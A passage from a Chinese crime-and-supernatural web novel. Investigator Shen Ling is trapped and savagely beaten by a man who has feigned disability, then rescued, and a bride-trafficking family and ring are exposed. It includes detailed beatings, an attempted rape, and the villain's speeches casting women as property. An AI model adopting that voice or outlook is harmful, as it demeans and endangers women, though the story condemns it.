沈聆仓皇中抬起头定睛一看，发现面馆家的傻儿子不知道什么时候悄悄地出现在门外——只见那傻子好奇地靠在门框上，身体微微前倾，眼睛眨动着，直直地盯着沈聆看。在黑暗的夜色中，他那黝黑的皮肤仿佛被染上了一层神秘的暗色调，显得有些阴森恐怖。他背对着月光站立着，身影投射在地上，给人一种冷漠而疏离的感觉，似乎带着几分寒意。
他不知道什么时候出现的，甚至走路的时候没有一点声音，在沈聆察觉到的时候，对方已经出现在门口了。
被逮了个正着，而且还是在做亏心事的时候，这让沈聆有点儿慌张，她忙将正在拍照的手机胡乱塞进了口袋里，丢掉手中的木条，拍了拍手上沾染的尘土，状似漫不经心地环顾了一圈后说道——
“你们家这个房间环境不太好啊，有点脏乱了，哈哈，我、我路过这儿，本来想借个厕所来着，但敲门你们没有听到，我看后面有个小院子，我就想着不然我进来上个厕所就走，也不打扰你们……”
她的脑袋有点儿空白，随口编成的谎言也十分蹩脚。
扶着矮墙站起身，她的双脚因为蹲久了有点酸麻，抬起头看向傻子窘迫地笑了笑。
“原来如此，要上厕所你跟我说呀，我带你去的。”傻子也憨憨地笑了起来。
看傻子的样子，似乎没有对沈聆的到来感到困惑和生气，相反，他还是这么笑嘻嘻的样子，似乎没有什么事情能让他忧愁，他像是活在自己世界里的小孩子，那双眼睛透明清澈。
沈聆默默松了口气。
虽然被发现了，但好歹不是那对老夫妻。
如果是这个傻子的话，应该不难糊弄。
这么想着，她清了清嗓子说道：“我现在忽然又不想上厕所了，不然，我先走吧，大晚上挺打扰你们的。”
“不想上厕所了吗？”傻子指了指前面的面馆，“去我家一楼就可以上厕所哦，我爹娘在二楼，他们不知道的。”
“不、不用了，其实也不是那么着急，嘿嘿。”沈聆笑了笑，挪动着脚步就想要往门口而去。
她尽力稳住傻子的情绪，希望傻子不要叫嚷起来，但毕竟谁在大半夜发现家里进了个人不紧张的？她必须在这傻子把事情闹大之前溜走。
这么想着，沈聆已经挪到了门口，地上铺着细碎的麦糠之类的东西，密闭的房间里空气很难闻，她状似不经意地岔开话题问道：“对啦，你们这小房子好简陋啊，我还以为是厕所呢，味道也好难闻。”
“是厕所没错的，在以前这是我们家的厕所，后面也有用来养猪。”
“你是说……那个是猪圈？”
在靠近傻子的时候，沈聆嗅到了来自傻子身上的汗臭味，她不由得皱紧了眉头、屏住呼吸。这傻子像是好几天都没有洗澡了，脸颊、脖子都黑黑的，贴着一层泥垢，衣服也全都是后厨的油污，他的父母像是懒得管他一样，放任他“野蛮生长”。
“有段时间是猪圈，但后面关的东西就不是猪猪了。”傻子意味深长地说着，他虽然仍旧是眯着眼睛、笑嘻嘻的模样，但在沈聆靠近他之后，他的声音压低了许多。
“——”
就在此时，沈聆口袋里的手机忽然震动了一下。
【她拿出手机一看，发现是林凌发过来的一条消息——沈聆，我收到协查函的回复了，秦琴的确是失踪人口，而且她的爸妈已经死了，她是在一年前左右失踪的，这个时间点和牛肉面馆儿媳妇出现的时间大致吻合。】
【而且，我怀疑他们的儿子不太对劲，我调取了公园的监控摄像头，发现那傻子曾经跟踪过秦琴，在秦琴大出血之前，我认为，秦琴不是单纯的生产发动大出血，这一切很可能和那个傻子有关系！】
看到信息的时候，沈聆的心一下子凉了半截。
“怎么了姐姐？有人给你发消息吗？”傻子的声音从后面传来，这声音听得沈聆浑身发毛。她略机械地转过头，发现胖子正对着自己乐呵呵的笑着，但那眯起的眼睛却像是闪烁着寒光。“你要去哪里呀姐姐，留在我们家好不好呀？”他一边说着，一边缓缓向沈聆走来，每一步都走得十分沉重，仿佛带着无尽的压力和威胁。
沈聆瞪大了双眼，看着眼前逐渐靠近的身影，心中充满了恐惧，她想要逃跑，但双腿却像被钉住了一样无法动弹，她试图呼救，但喉咙却像被堵住了一般，只能发出低沉而沙哑的声音。
不，她不能呼救，呼救就会引起那对老夫妻的注意，反而更不好脱身。
在傻子的压迫之下，她步步后退，微微张开嘴巴，却又不知道说些什么才好，她本能地感觉到害怕，这种害怕，是源自于眼前这个傻子的。
现在的傻子，和平日里和她对话的傻子给人的感觉完全不一样。
他慢慢平复了笑容，那双眼睛褪去了像是伪装起来的愚钝，随后，在深邃的眼眸深处，流转着几分令人胆寒的光。
“你要去哪里呀姐姐？留下来吧，亲姐姐已经走了，我们家需要另一个姐姐……”
随着傻子越来越近，沈聆终于看清了他的面容——那张脸原本应该是胖乎乎的，带着几分天真
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无邪，但此刻却显得格外狰狞。他的嘴角挂着一丝诡异的笑容，眼神中透露出一种疯狂与残忍。
“你……你不要过来……”
她感到一股寒意从脊梁骨上升起，全身的汗毛都竖了起来。
沈聆转身就跑，但傻子先一步采取了措施，他眼疾手快、突然伸出一只手，紧紧抓住了沈聆的手腕，他的手掌冰冷而有力，仿佛铁钳一般，让沈聆感受到了一阵剧痛。
“姐姐，别跑嘛，跟我一起玩好不好？”他轻声说道，语气中带着一种让人毛骨悚然的温柔。
“你果然有问题！”
“有问题？有什么问题？留在我家不好吗？反正你们女人的任务不就是传宗接代？正好，秦琴死了，我们家还缺一个女人，我，还缺一个女人。”
那傻子一字一句地说着，这时候，他的声音已经完全变了，不再是平日里傻呵呵的声音，反而变得低沉，变得令人恐惧。
他死死抓着沈聆的手，直接一用力，将沈聆拉进了小黑屋里！
沈聆一个趔趄摔倒在地上，打翻了地上的木桶，里面恶臭尿骚的味道泼了一地。
“你……你不是傻子？！”
她惊慌失措地抬起眼看着傻子，眼中满是震惊和难以置信。
傻子静静地站在她面前，高大的身影仿佛一座山般沉重，他的影子将她整个笼罩着，让她感到一种无法逃脱的压迫感。
傻子居高临下地看着她，眼神中透露出一丝狡黠和得意。
他微微眯起眼睛，嘴角挂着一抹得意洋洋的笑容，似乎在享受着这一刻的胜利，他将沈聆的无助一览无余，心中充满了成就感。
傻子蹲下身子，目光中闪烁着凶狠的光芒，用力给了沈聆几个响亮的耳光！
“啪——啪——啪——”
清脆的耳光声回荡在空气中，每一下都打得那么狠、那么重。他肥厚的手掌力气极大，几个耳光下来，沈聆已经被打得头晕目眩，眼冒金星。
她的脸颊火辣辣地疼，泪水不受控制地流了出来。
“傻子？哈哈哈哈哈……当傻子不好吗？只有当一个傻子，你们才会觉得我‘人畜无害’不是吗？说来，我也真是一个天才，连老头老太太都没有发现我是装傻，我的演技应该可以拿一个奥斯卡奖吧，哈哈哈哈——”傻子说着，笑得更开心了几分，“其实，我还挺享受当傻子的，至少这样，秦琴或者是你，都会对我放下警惕，不要担心，我也是一个好男人的，我会好好疼爱你的，虽然你没有秦琴好看，但没关系，对于女人，我向来是来者不拒！哈哈哈哈——”
“……什么柴房，木条，柴火棍……这些其实都是你故意告诉我的对不对？你设了一个圈套，要引我过来！”
“那当然了。”傻子冷笑了一声，“警方目前并没有注意到我家的面馆，在目前证据不足的情况下，你如果要继续调查，只能只身前来。我只不过是随口一提，你就上钩了，你说，你和我之间，谁更像傻子呢？”
27. 恶人
他叫陈耀宗。
顾名思义，在他出生的时候，他的父母希望他能够光宗耀祖。
准确的说，是他的父亲这么希望的。
毕竟，他的母亲也是从人贩子手里卖给他的父亲的，在他出生之后，他几乎每天都可以看到父亲打骂母亲，一开始他还会疑惑这一举动，但久而久之，这个家里似乎就已经分为了不同的等级，他的父亲，是地位最高的人，而母亲，作为家里唯一的女性，是最没有话语权的人。
但遗憾的是，叫了这么个名字，后面所有人几乎都叫他“傻子”，叫得久了，逐渐让人忘记了他的真名。
从小时候开始，他就看着父亲打骂母亲，这样的事情见多了，便形成了他的固化思维，认为男性就是应该如此对待女性，并且通过这样的方式树立家庭权威，他对母亲也不是很客气，可没想到，父亲的苛刻并不只是对母亲，对自己亦是如此。
他是个聪明的孩子，虽然父亲四十多岁才让母亲怀孕并生了他，却一点不耽误他的早熟。
他从很早开始，就已经知道这个世界是一个巨大的“原始森林”，在这个世界里，一切都要靠蛮力分等次，在社会上，也有不同等次的人，而那些人依靠的是更高级的“蛮力”，或许是金钱，或许是名利。
在四岁那年，偶然一次被打后、在他昏睡期间，听见了床头父母亲的对话，尤其是母亲，担心父亲这么打下去会把孩子打傻掉，从那时候开始，他才发现自己其实有别的路可以走的，如果装傻，就不必肩负着这么重的期望，也不必因为没有达到父亲的要求就备受毒打。
于是从那天开始，他就开始装疯卖傻了起来。
他是个很聪明的孩子，他在电视上看到过傻子是什么样的，比起歪嘴流口水的傻子不同的是，他更希望自己成为一个“心智不全”的傻子，至少那样，父母不至于放弃自己，但又不会强迫自己学习进步，他可以一辈子啃老，而且不必再遭受毒打。
这么百利而无一害的想法趋势下，他的装傻一装就是二十多年。
刚开始他还会在无人知道的深夜里洗把脸、看着镜子里的自己默默复盘自己今天装疯卖傻的表现还有哪些不足之处，也会对着镜子提醒自己要保持做一个正常人的理智，但后来，他也开始分不清自己是真傻还是装傻，逐渐的，他说的话，没有人会当真他，他要做的事情，没有人会在意，身边所有人不会因为他搞砸了某个事情就对他动辄打骂，也不会因为他邋里邋遢而严词训诫。
他挺喜欢当一个傻子的。
至少过去是这样，现在是这样，未来也会是这样。
这个情况一直持续到某天，他的母亲看着他默默流泪，并说着担心他娶不到媳妇的事情，他这才意识到，扮演一个傻子，或许也并不全都是好处。
没有人会想要嫁给一个残障人士。
他的母亲替他说了好几次亲，求了周围许多媒婆红娘，但是当对方听到他是个傻子的时候，总是掉头离开，甚至会留下冷言冷语的嘲讽，他也曾经试过告诉他们自己不傻，可这些所话又会被当做傻话而被无视。
他这才发现，面具戴得太久了，就连周围的人也会将自己的真话当作傻话。
他已经当了二十多年的傻子了，早已经无法变回正常人。
于是在走投无路的着急下，他的父母亲，选择了另辟蹊径——买一个女孩。
是的。
这条路，是一条很熟悉的路。
他知道自己的母亲就是这么被卖过来的。
他知道这条路一定行得通，只要女人生下了孩子，心就被拴住了，就不会再想着逃走。
他曾经在门外听到了父母亲在商量这件事情，虽然母亲也试图阻止，但父亲的拳头还是让她闭嘴了。
他也满心期待着自己未来的新娘会是怎样一位姑娘。
就在几天之后，秦琴，出现了。
准确的说，是被用一辆面包车拉来了他们家。
他的父母先和人贩子谈好了价格，在交完定金之后，秦琴被一辆面包车送来了他们家，刚开始来的时候，她被人用狗链子拴着，手脚全都绑住了，头上带着黑色的头套，嘴巴里塞着白色的棉布条，在她被扔到屋子里的时候，她拼命挣扎着，但他家老头子将秦琴的脑袋揪着在地上用力砸了几下之后，秦琴就晕过去了。
在秦琴晕过去的时候，父母便交完了尾款。
在人贩子坐着面包车离开之后，秦琴变成了他们家的一员。
准确的说，是他们家养的一个动物。
……
“咚。”
傻子一把将沈聆扛在肩头，而后毫不留情地将她丢进了猪圈。他随手捡起地上的木条，朝着沈聆狠狠抽去。
“啪——啪——”
清脆的声响不断传来，沈聆的脸颊、脖颈和手臂上，全都留下了细长的血痕。
她强忍着剧痛，死死地咬着牙，用那双漆黑的眼睛怒视着傻子，眼中凝结着浓郁的愤恨。她紧咬后槽牙的模样，仿佛恨不得将眼前的傻子生吞活剥。
“怎么？看起来很恨我啊？”傻子嘴角扬起一抹诡异的笑容。
他右手抓着木条，左手搭在膝盖上，缓缓站起身，以居高临下的姿态看着地上的沈聆。接着，他抬起脚，穿着人字拖的脚直接踩在了沈聆的脸上。
沈聆不服气地挣扎着，可下一秒，傻子加重了脚上的力度。那满是泥泞的人字拖用力碾压了几下，似乎想要碾碎沈聆紧咬的后槽牙，以及她心中的恨意。
“我告诉你，这个世界就是弱肉强食。从现在起，你就是我的阶下囚。我是你的主人，你就是我养的一条狗、一头猪，必须对我的话言听计从，否则有你苦头吃。”傻子说着，抬起脚用力踢向沈聆。
他本就是个两百多斤的胖子，每一脚都踢在沈聆柔软的腹部和脆弱的肋骨上。沈聆被迫蜷缩着身子，感觉像是有重锤一下下砸落在身上。她只能
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本能地用双手抱着脑袋，蜷缩着身体，试图退到角落。
然而，她越是后退，傻子就越是兴奋。常年遭受虐待的他，一旦扮演起施虐者的角色就异常兴奋，仿佛激发了血液中潜藏的暴躁基因。他右手抓着木条，对着沈聆又是一顿毒打。
“知道听话了没有？！知道听话了没有？！打死你！打死你！”
沈聆感觉到木条尖锐的末端割破了柔软的皮肤。她双手环抱着身体蜷缩在角落，浑身泥泞，身上也被抽打出了许多血痕。但她天性倔强，无论对方如何打骂，她就是一言不发，绝不妥协。
半晌，傻子也打累了，又用力踩了几脚，然后泄愤般地将已经抽断了的木条丢在一旁。
“你这该死的婆娘，怎么比秦琴还嘴硬？！”
沈聆从胳膊与胳膊之间的缝隙中探出头，咬着牙盯着傻子：“你……你之前也是这样虐待秦琴的吗？！”
“这话说的，比起我，我爹打得更狠。你也知道，我在他们俩面前一直装傻，他们都以为我还是个六岁的孩子。我爹打秦琴的时候，我只能在旁边干看着，哎哟喂，那可真是难受死我了！你都不知道，女人被打的声音听着有多舒服！我是真想上手打啊，可是我怕我爹看出什么端倪来，愣是不敢动手！那老头子，还当着我的面侮辱秦琴，哼，一把老骨头了，居然还想老牛吃嫩草！”
傻子说着，斜着眼睛看向房门外，那个方向正是牛肉面馆的方向。
他似乎朝着那个方向，向自己的老爹发狠。
“这老东西！还以为我真是个傻子不成？！还当着我的面搞我媳妇，这老不死的东西，如果不是他还要经营这个面馆，我早就收拾他了！我早晚有一天要让他知道我的厉害！”
“有没有你？”
“什么？”
“虐待秦琴的人里面，有没有你？！”
“哈哈哈，你说的是这件事情啊，你要是说这件事情，我就兴奋了。你那是不知道啊，在我爹每次完事之后，就把秦琴丢在猪圈里……对，就是你现在躺着的位置。”
傻子说着，用手指了指沈聆现在躺着的地方，沈聆感觉到一阵恶心，忙挪动着身体，往旁边移动了一点。
但她被打得浑身疼痛，肋骨也断了几根，脸上全都是伤痕，动的这几下扯痛了她的伤口，裂开的伤口涌出了许多血，染红了她地上铺着的些许干稻草和米糠屑。
“第一次我靠近的时候，给了她几个大白兔奶糖，她还真以为我是个傻子，还跟我说话，让我偷偷联系她爸妈，事成之后就给我买好多糖果。哈哈哈哈哈……你说说，怎么有这么蠢的婆娘？这人也就活该被卖！”
“然后呢？你把她怎么样了？”
“怎么样？还能怎么样？”傻子说着，站起身，解开了裤腰带，“咱们大老爷们的事情，当然得按照大老爷们的事情办了！虽然我表面是个傻子，但我‘二弟’可不是。怎么样，小姑娘，要不要试试看哥哥的厉害呢？”
28. 天降正义
那傻子抽出自己的皮带，摇晃着肥胖的身躯，如同一只笨拙的大熊般朝沈聆压了过来。
“不！不要啊！”沈聆惊恐地尖叫着，双手胡乱挥舞着，拼命抵抗着压在身上的沉重力量。
然而，那傻子却毫不留情，一屁股坐在了沈聆的腹部。本来就遍体鳞伤、虚弱无力的沈聆如何能够承受得住这傻子的体重？她顿时感到一股窒息感从下身涌上心头，仿佛被一座大山压住一般。
那傻子坐在她身上，粗暴地抓住她纤细的手腕，然后猛地一扭，将她的手腕硬生生地掰折到身体两侧。
“咔嚓！”伴随着一声清脆的声响，沈聆的右胳膊脱臼了，剧烈的疼痛让她忍不住惨叫出声。
“疼……”
沈聆疼得哭了出来，但对方才不是怜香惜玉之人，他狞笑着，抬起手在几个耳光用力打在了沈聆脸上！
他的力气很大，而且是用手臂的力量在打她，几个耳光下来，沈聆早已经嘴角流血，眼冒金星。
“小姐姐，乖乖顺从，你还能少吃点苦，知道吗？秦琴刚开始也和你一个鸟样，但后面她倒是学乖了，知道反抗也没有用，我也好，我们家老头也好，你们这些下贱的女人，天生就是为了伺候我们而存在的，你乖一点，说不定还能享受一会儿，哈哈哈哈——”
他身上散发出来的浓烈气味让人作呕，那股酸臭的汗味和刺鼻的油烟味混杂在一起，直扑到沈聆面前，当他张开嘴说话时，一股恶臭从他口中涌出，仿佛他已经一周没有刷过牙，嘴里满是腐烂的味道和舌苔的口臭。
他紧紧抓住沈聆的头发，毫不留情地将她的头猛地砸向地面。
“咚！咚！咚！”在这个狭小的房间里，回荡着令人心悸的沉闷声响。
这是一个封闭得密不透风的空间，空气中弥漫着刺鼻的尿骚味和腐朽的气息，让每一次呼吸都变得艰难而痛苦。
沈聆不停地哭泣着，但她的泪水却无法减轻内心的恐惧和绝望。原本已经被打得头晕目眩的她，现在又遭受了头部被重击的折磨。
温热的鲜血从她的额角缓缓流下，模糊了她的视线，她勉强睁开眼睛，眼前的景象让她惊恐万分——只见那个坐在她身上的傻子正挥舞着巨大的拳头，无情地朝她的脸部猛击过来。每一拳都带着巨大的力量，狠狠地砸在了她的脸上。
“咚。”
几拳下来，沈聆早已经意识模糊。
但这一切对傻子来说，几乎已经到了“轻车熟路”的程度。
曾经一摸一样的事情，他也对秦琴做过，曾经一摸一样的惨剧，也同样发生在这个狭小的区域，已经被老陈头折磨过的秦琴，被拖回猪圈之后，还要被傻子折磨，她在这个房间里看不到外界的一点光亮，就像外界听不到她的任何求助声，一条生命，就这么活生生被折磨着，虐待着，一点点失去活下去的勇气。
“撕拉……”
傻子趁着沈聆快昏过去的时候，撕开了沈聆的衣服，她穿着黑色的运动服，在撕开运动服之后，露出了里面白色的里衬，在看到白皙的脖颈时，傻子巴咂着嘴，感觉到一阵气血上涌，这还是他第一次，越过他老爹，“品尝”他喜欢的东西。
他已经压抑了很久了。
从小的时候开始，装疯卖傻，从来没有以真面目示人，压抑的欲望在心里越来越多，让他的整个人都身心扭曲了。
越是不被满足的欲望，在心里就越是堆积。
总有一天，这些欲望会像火山一样爆发，而爆发的结果，就是把自己和身边所有人都覆灭！
“不要……不要……”
沈聆浑浑噩噩，感觉像是有千斤重量压在自己身上，脖颈间有令人作呕的气息，她挣扎着，试图用另一只没有脱臼的手将傻子推开。
“小姐姐，我劝你还是不要反抗了，你知道吗？你越是反抗，我就越是‘兴奋’，哈哈哈哈——”
就在傻子大笑的时候，忽然，响起了一阵沉闷的声音。
“咚！”
这声音很大声，像是木棍砸到了什么重物的声音。
在模糊的视线中，沈聆看见压在自己身上的胖子整个人顿了一下，随后像是触电一样，直挺挺地倒在了旁边。
在傻子倒下去之后，她看见他身后站着一个手持木棍的人。
黑色的外套披在瘦削挺拔的身材下，他束着头发，夜风自他身后吹入屋内，他站在那边，黑暗模糊了他的脸庞轮廓，在傻子倒在一边的时候，他也看到了倒在地上浑身是血的沈聆。
沈聆张了张口，断断续续地说出几个字：“救我……”
丢掉手中的木棍，他一脚踢开了压在沈聆身上的胖子，在沈聆身边蹲下身。
“……小丫头，你没事吧？”
他的声音很轻，用手碰了碰沈聆的肩头，但在看到已经骨折的手腕和浑身是血的她时，却也不知道从何下手，就连声音也放轻了许多，生怕自己的声音会让眼前这个玻璃娃娃一样的女孩子“碎掉”。
犹豫了半晌，他脱下黑色的外套，披在沈聆的身上，遮住了被胖子撕开衣服后露出的脖颈，随后，小心翼翼地将躺在地上的她扶了起来，让她靠着自己，或许这样能减轻她的痛苦。
“那个死胖子，真是该死啊……”
他在沈聆身边嘀咕着，看向傻子的眼神满是厌恶。
沈聆嗅着他身上淡淡的檀木香，微微抬起头，看着他轮廓分明的下颌线，以及几缕垂落在脸颊的发丝，她浑浑噩噩的脑海中闪过一些曾经的记忆——
【喂，这位姑娘，看你印堂发黑、双目无神，看来近期并不是很顺利，要不要小道为你算上一卦？】
是的。
这声音与她记忆中的那个人的声音重合了起来。
沈聆在失去意识之前，终于想起了自己曾经在哪里见过这个人……
【小道看姑娘的父母宫仍有一缕生机，怕是消散的缘分仍存一丝，若有来日，说不定能相逢于世间、有一面之缘。】
额头滑落的血沾染在眉头与睫毛上，朦胧了沈聆的视线，她似乎看到一只黑猫正站在木门前，那只黑猫紧张地看着小房间里发生地一切，微微弓起身子，龇牙咧嘴地朝着躺在地上的傻子哈气，一双爪子已经露出了尖锐的刺，似乎准备扑到傻
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子身上抓挠他。
“道长……”
沈聆呢喃着这两个字后，体力不支地晕了过去。
听到她呼唤自己，道长低下头，发现怀里的女孩子晕过去了。
“这小姑奶奶还挺脆的，可称为‘薄脆小丫头’。”道长轻轻一笑。
“喵——”
身旁传来一声猫叫，他抬起头，看见黑猫正对着晕过去的傻子龇牙咧嘴的，它径直跳到了傻子身上，伸出锋利的爪子就要抓傻子。
“等等。”
道长见状轻喝了一声，黑猫听到了他的声音之后，动作一顿，尖爪距离傻子的脸只有不到两厘米的地方停了下来。
“现在先别动手，如果把他弄醒了，反而不好处置，毕竟我们现在在别人家里，吃亏。”道长说着，慢条斯理地整理了一下披在沈聆身上的外套，他双手将沈聆抱起，沈聆靠着他的肩膀，已经失去了意识，但手仍旧紧紧抓着他的衣襟，像是本能的抓住最后一根救命稻草。
“咔哒。”
忽然，一个手机从沈聆的口袋滑落。
“喂？喂？”
电话的页面显示着目前正在通话中，通话的对象是备注了两个字——林凌。
道长一挑眉：“挺聪明的啊，我还以为她刚才就是纯挨打。”
道长说着，重新蹲了下去，将电话拿到耳畔。
“喂？”
慵懒的声音刚一落地，便听到了电话那头传来的急切的声音——
“你是谁？！我告诉你，不要伤害沈聆！我是市公安局的警察，我叫林凌，刚才的对话内容我已经全都录音了，作为呈堂证供，你们逃不掉了，不要伤害人质才是你们目前最好的选择！”
电话那头，林凌急切的声音伴随着警车的警报声，以及车窗外呼啸而过的风声。
从那声音来看，林凌应该正往淮阳牛肉面馆赶过来。
沈聆很聪明，在看到傻小子的时候，便知道这一切不太对劲，在林凌警官发来短信的时候，她就默默拨通了林凌的电话，通过电话，那林凌知道了傻子的真面目，也知道了秦琴和这家人的关系。
沈聆现在的位置就是曾经囚禁秦琴的地方，地上的木条还残留着血迹，经过DNA比对，应该能查出被困在这里的人就是秦琴。
现在，人证物证俱在，他们参与人口买卖、虐待他人的罪名是逃不掉了！
沈聆以身作饵，成功钓出了背后的幕后黑手，只不过，代价有点儿惨烈就是了。
“知道了知道了，警官是吧，你放心，那个傻小子已经被我打晕了，这小丫头暂时没有什么危险，只不过晕过去了，估计得赶紧送医院，我看她伤得不轻。”
“被你打晕了？你是谁？”
“我？我只不过是一个平平无奇的热心市民罢了。”道长说着，挂断了电话。
黑猫走到沈聆身边，抬起头，用毛茸茸的小脑袋蹭了蹭沈聆的手背。
道长无声地将这一幕看在眼里，他伸出手，摸了摸黑猫的小脑袋：“你找我……找得还真是时候，如果要等那个警官到，估计小丫头早就清白不保了。”
29. 苏醒
在一片模糊不清、如梦似幻的世界里，沈聆感到自己似乎正在上下游动，就像被一股温暖的水流包裹着，轻轻地摇晃着。
她觉得自己的身体变得异常轻盈，宛如一根羽毛般，随着水波缓缓地漂流，一直流向远方，在这奇妙的体验中，她隐约能听到远处传来的鸟鸣和虫鸣，那声音清脆悦耳，让人心旷神怡。
她从未有过这样的感觉，一瞬间，世俗的烦扰困扰全都消失了，她的内心感受到由衷的平静，没有匆忙焦虑，没有失落悲伤，只有平静，只有喜乐。
当她慢慢睁开双眼时，眼前出现了一片广阔无垠的天空，湛蓝如宝石般纯净。而她自己，则像是躺在一朵巨大的棉花糖云朵上，云朵柔软得仿佛不存在重量，将她的身体轻轻托起。她揉了揉眼睛，试图让视线更清晰一些，但却惊讶地发现，自己的身体竟然呈现出半透明的状态。
【这是……】
她张了张口，但却没能发出声音。
就在这时，一个声音从前面传来。
【你醒啦。】
那声音很轻，听着有几分朦胧感和距离感，就像是隔着一面画扇传来一般。
沈聆抬起头，发现一个人正静静坐在自己面前的云团上，她穿着白色的长裙，披散着乌黑的头发，眼神温柔地看着自己，宛如深秋的潭水一样平静。
【……秦琴。】
沈聆张了张嘴巴，她认出了眼前的这个女子。
像是听到了沈聆的声音，她微微一笑，脸上泛着柔和的光。
此刻的她，和之前沈聆看到她完全不同，她身上的伤痕都消失了，额头的血窟窿也不见了，脖颈也恢复了正常的样子，整个人身上泛着柔柔的白光，像是开了滤镜一样，给人温暖祥和的感觉。
【谢谢你，以身犯险地帮助我。】
她没有开口，但那声音却传入了沈聆耳中。
【不，我也没有做什么，是他们一家三口太恶毒了，我只是做了我认为该做的事情，他们应该要遭到应有的报应。】
秦琴叹了口气，眼眸中覆盖上了一层淡淡的悲伤。
【也是我这辈子命途多舛，这些都不过是我命中的劫数罢了。】
【唯一遗憾的是，在临死前，却没有看到我爸妈一面。】
沈聆想起了自己曾经看到过的林凌发来的短信，她知道秦琴所说的是什么事情。
【……别担心，他们应该是去到另一个没有伤痛的世界了，我相信他们在那个世界一定会和你重逢的。】
【沈聆，谢谢你，我会把我剩下的阳寿和阴德都给你，我知道你也同样需要帮助，另外，我还有一个东西要给你……】
秦琴说着，她伸出了双手，此刻，在她手掌心似乎闪烁着一个光点，在沈聆还没有看清楚的时候，那光忽然飞到了她胸前，刺眼的光芒让她下意识地眯起眼睛，下一刻，感觉到胸口一阵灼热，像是有什么东西融入了她的身体里。
秦琴的声音，却在此时逐渐远去……
【相信这个东西以后会帮助到你的。】
【你是一个善良的姑娘，你的热心一定会让你有好报的。】
……
沈聆皱了皱眉头，当她从梦境中醒来的时候，嗅到的便是刺鼻的消毒水的味道。
“滴答……滴答……滴答……”
模糊的视线缓缓清晰，她最先映入眼帘的，是医院洁白的天花板、深绿色的帘幔，她正静卧在一张微微抬起角度的病床上，病床旁，悬挂着一大瓶点滴药水，药瓶中透明的液体正缓缓流入她的体内。
“好痛……”
须臾，身体的痛楚从各个关节蔓延开来，她感到周身每一处都在剧痛，胳膊、肋骨、脏器、脸颊……那些伤痕犹如烈火灼烧般疼痛，炽热难耐，又似有人正用利刃重新割裂，刺痛的感觉使她混沌的思绪瞬间清醒了许多。
“聆娃儿，你醒了？”
一个沙哑的声音从床畔传来。
沈聆想转过头看看，但她发现自己的颈椎正用颈托固定着，她没办法转动脑袋，只能可怜兮兮地用眼角余光瞥了一眼——是外婆，穿着花棉服的外婆正坐在她床边，一脸心事重重地看着她，那双沧桑的眼眸里满是担忧，但紧闭的嘴巴却不忍心说出太多苛责的话。
“外婆……”
沈聆张了张口，从喉咙里挤出几个沙哑的字眼，她的声音十分疲惫，像是糊上了一层砂纸一样，说不出几个清晰的字眼。
“你好好休息吧，医生说你全身多处骨折，而且还有轻微脑震荡，你也真是命大，如果不是有人及时赶到，你怕是就交代在那里了。”
少女的声音响起，沈聆循声望去，发现是宋明夷。
她穿着护士服，带着护士帽，现在的她已经整理好了自己的着装，不再像那天晚上看起来的那么狼狈不堪，重新打了好自己的她看着倒是一副“人模狗样”的。
沈聆张了张口，刚想问问她怎么在这里，宋明夷像是猜出了沈聆的心思一样，接话说道——
“这里是平安医院骨科的住院部，昨天晚上十点多我正要下班正要下班呢，听到我们医院忽然送来了一个名叫沈聆的患者，巧了嘛这不是，哪有这么多同名同姓的人？我第一感觉就是你又‘搞事情’了，我就马不停蹄地从楼上跑下来看看，没想到真的是你！这不是巧了嘛，我呀，为了照顾你，回家都不回了，你看看，我还帮你联系上了你外婆，帮你把老人家接过来了，我这么好的‘中国好姐妹’，你打着灯笼都找不到。”
宋明夷像个叽叽喳喳的小麻雀一样说个不停，完全不顾沈聆一脸想要“刀了她”的表情。
——谁要你多事！
——现在外婆也知道我擅自调查的事情了，还不骂死我……
沈聆心里这么抱怨着，却不敢看外婆，她知道自己痊愈之后，是少不了挨一顿骂了。
“不是我说啊，沈聆，你好厉害啊，你怎么知道那个秦琴和淮阳牛肉面馆有关系的？第二天新闻就爆出来啦，原来啊，那一家三口全都参与了人口贩卖！”
宋明夷低下头，在手机上刷出了热点新闻，拿到沈聆跟前晃了晃，沈聆本想伸手接过手机来看看，但她发现自己的手臂打了石膏固定着，根本举不起来。
“你悠着点吧，你的手骨折了，我说给你听就好了……”宋明夷说着，将手机拿回了自己眼前，念起了新闻的内容，“昨天晚上，我市破获一起失踪人口案，同时，也是人口拐卖案，在平安医院跳楼自杀的死者秦琴是被拐卖到本地的失踪人口，被拐卖到当地后，被卖给了我市城西一家淮阳牛肉面馆的老板，在被囚禁的一年多里，死者遭受到了非人的虐待……”
沈聆听着宋明夷的声音，默默地闭上了眼睛，脑海中浮现出那家面馆的一家三口，现在想起来，更觉得他们面目可憎。
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“警方比对了淮阳牛肉面馆后院柴房里的血迹，发现血迹恰好与死者秦琴的DNA一致，当夜逮捕了面馆的老板陈光祖，李萍，陈耀宗三人，在犯罪现场，解救出一名被困在柴房的少女，从现场痕迹来看，陈耀宗正对少女图谋不轨，不过恰好被路过此地的热心市民听到呼救声并及时解救，伤者目前已送往医院治疗，没有生命危险……”
沈聆睁开眼睛，看向宋明夷，恰好，说到这里，宋明夷朝着沈聆使了个眼色，示意她新闻里说的“少女”就是她。
“我市警方也顺着本案中人口贩卖线索彻查了一伙人口贩卖组织，该组织以一名自称为‘赵姨’的女性为头目，长期在我市从事人口贩卖犯罪活动，在追查到线索后，我市警方快速出警，联合各单位直达犯罪窝点，直接捣毁组织窝点，成功解救出数名被困窝点的被拐卖妇女。”
沈聆听着宋明夷播报的新闻，默默点了点头。
原来，她只是一个“支点”，正是在她的“撬动”下，警方顺藤摸瓜，查出了许多人口贩卖组织的线索，从而有了将他们一锅端的机会
宋明夷说到这里，放下手机，用力鼓掌了起来，用浮夸的语气说道：“恭喜恭喜！沈聆，你这可是大功一件啊，不只是帮秦琴洗刷了冤屈，还解救了许多被拐卖的妇女，我要是阎王爷啊，我在你的阴德本上得大增一笔啊！”
外婆也不由得被这鬼马女孩逗笑，原先对沈聆的责怪神情也轻了几分。
“只不过，那个人贩子组织的首脑‘赵姨’跑了，那只老狐狸，没有抓到她真是难消心头之恨！”
——跑了吗？
沈聆沉默了一下，不过随即，她感觉目前的成果已经大大超出她的预料的，她原先只是想抓住面馆的一家三口，没想到现在还能解救其他女孩子，想必也是大功一件。
“你先休息休息，我去问问医生你的情况。”外婆说着，起身朝着走廊而去。
“嬢嬢，要不要我陪您去呀，我对医院可熟了，我就在这里上班的。”宋明夷倒是十分热心。
只不过，沈聆老怀疑她这热心是因为靠近她们家，她能够更多的直播题材和视频可以拍摄。
外婆举手示意了一下：“没事，不用，你坐着就好。”
